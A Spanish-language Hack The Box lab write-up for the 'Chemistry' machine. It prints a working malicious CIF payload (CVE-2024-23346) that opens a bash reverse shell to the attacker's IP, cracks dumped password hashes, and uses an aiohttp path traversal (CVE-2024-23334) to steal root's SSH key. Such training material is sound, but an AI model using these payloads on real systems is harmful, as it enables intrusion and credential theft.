Chemistry
Plataforma: Hack The Box
Dificultad: Easy
🔗 Link de la máquina: https://app.hackthebox.com/machines/Chemistry

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN chemistry.txt 10.129.231.170
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 01:01 -0300
Nmap scan report for 10.129.231.170
Host is up (0.51s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.72 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.--open: Muestra solo puertos abiertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detectar versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN chemistry.txt: Guarda los resultados en el archivo “chemistry.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 8.2p1 Ubuntu)
- 5000/tcp - HTTP (Werkzeug 3.0.3 / Python 3.9.5) → Chemistry CIF Analyzer
Configuración del Host
echo "10.129.231.170 chemistry.htb" | sudo tee -a /etc/hosts
Enumeración Web
Al acceder a http://chemistry.htb:5000 encontramos una aplicación web llamada Chemistry - CIF Analyzer, una herramienta para analizar archivos CIF (Crystallographic Information File).

La aplicación permite:
- Registrar una cuenta
- Hacer login
- Subir archivos
.cifpara su análisis
Nos registramos con un usuario de prueba:

Accedemos al panel de subida de archivos:

Al subir un archivo .cif de prueba, la aplicación parsea el contenido y muestra las propiedades cristalográficas del compuesto.
Explotación
CVE-2024-23346 - PyMatgen RCE via CIF File
Investigando vulnerabilidades en analizadores de archivos CIF, encontramos el CVE-2024-23346, una vulnerabilidad crítica en la librería PyMatgen que permite ejecución remota de código a través de archivos CIF maliciosos.
¿Cómo funciona?
El parser de PyMatgen ejecuta el campo _space_group_magn.transform_BNS_Pp_abc del archivo CIF usando eval() sin sanitizar la entrada. Esto permite inyectar código Python arbitrario que se ejecutará en el servidor.
Creación del payload
Creamos el archivo CIF malicioso shell.cif:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Configuramos el listener en nuestra máquina atacante:
nc -nlvp 4444
Subimos el archivo malicioso desde el dashboard y hacemos click en View. La aplicación parsea el CIF ejecutando el payload:

Reverse shell obtenida:

connect to [10.10.16.4] from (UNKNOWN) [10.129.231.170] XXXXX
bash: cannot set terminal process group (1038): Inappropriate ioctl for a device
bash: no job control in this shell
app@chemistry:~$ id
uid=1001(app) gid=1001(app) groups=1001(app)
Tratamiento de la TTY
Mejoramos la shell para hacerla completamente interactiva:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color
export SHELL=/bin/bash
User Flag
Enumeración del Sistema
Con acceso como usuario app, enumeramos el directorio de la aplicación:
app@chemistry:~$ ls
app.py instance static templates
La carpeta instance/ es donde Flask almacena la base de datos SQLite por convención. Confirmamos el tipo de archivo:
app@chemistry:~$ file instance/database.db
instance/database.db: SQLite 3.x database, last written using SQLite version 3031001
Extraemos las credenciales almacenadas:
app@chemistry:~/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
Antes de crackear, verificamos qué usuarios del sistema tienen shell válida:
app@chemistry:~$ cat /etc/passwd | grep -v "nologin\|false"
root:x:0:0:root:/root:/bin/bash
app:x:1000:1000::/home/app:/bin/bash
rosa:x:1001:1001::/home/rosa:/bin/bash
Los usuarios app (el actual) y rosa existen en el sistema. Encontramos varios hashes MD5 en la base de datos. Intentamos crackear el hash de rosa:
hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt
Resultado:
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
Credenciales obtenidas:
- Usuario: rosa
- Contraseña: unicorniosrosados
Acceso SSH
ssh rosa@10.129.231.170
# Password: unicorniosrosados

rosa@chemistry:~$ cat user.txt

Escalada de Privilegios
Enumeración de Servicios Internos
Buscamos servicios que solo estén disponibles internamente:
ss -tlnp
Resultado:
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 *:5000 *:*
Hay un servicio en el puerto 8080 que solo es accesible desde localhost. Lo investigamos:
curl -s http://127.0.0.1:8080
Resultado:
<!DOCTYPE html>
<html>
<title>Site Monitoring</title>
...
Se trata de un servicio de monitorización web que corre como root.
CVE-2024-23334 - aiohttp Path Traversal
Identificamos que el servicio usa aiohttp:
curl -s http://127.0.0.1:8080/ -I
Server: Python/3.9 aiohttp/3.9.1
La versión aiohttp 3.9.1 es vulnerable al CVE-2024-23334, una vulnerabilidad de Path Traversal que permite leer archivos arbitrarios del sistema de archivos cuando la ruta estática no está correctamente normalizada.
Explotación del Path Traversal
Explotamos el Path Traversal para leer la clave privada SSH del usuario root. Es importante usar el flag --path-as-is para que curl no normalice las secuencias ../ antes de enviar la petición:
curl --path-as-is -s "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa"
Resultado:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCOTI2XEWGDhKCiD2Q5mFmwBZopnYXiVVhLqIBQp0aBYAAAAJiEnOLdhJ
zi3QAAAAB3NzaC1lZDI1NTE5AAAAIIomjlkRYYOEoKIPZDmYWbAFmindhGJVWEuogFCn
RoFgAAAAIBIxJIDmTf+RmFvJ7rWFPHFZ+ERDi3j4UrYtjCNFpAFAAAAEHJvb3RAY2hl
bWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Guardamos la clave y nos conectamos como root:
curl --path-as-is -s "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa" > /tmp/root_id_rsa
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@localhost
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
Root Flag
root@chemistry:~# cat root.txt

Máquina Chemistry de Hack The Box completada exitosamente.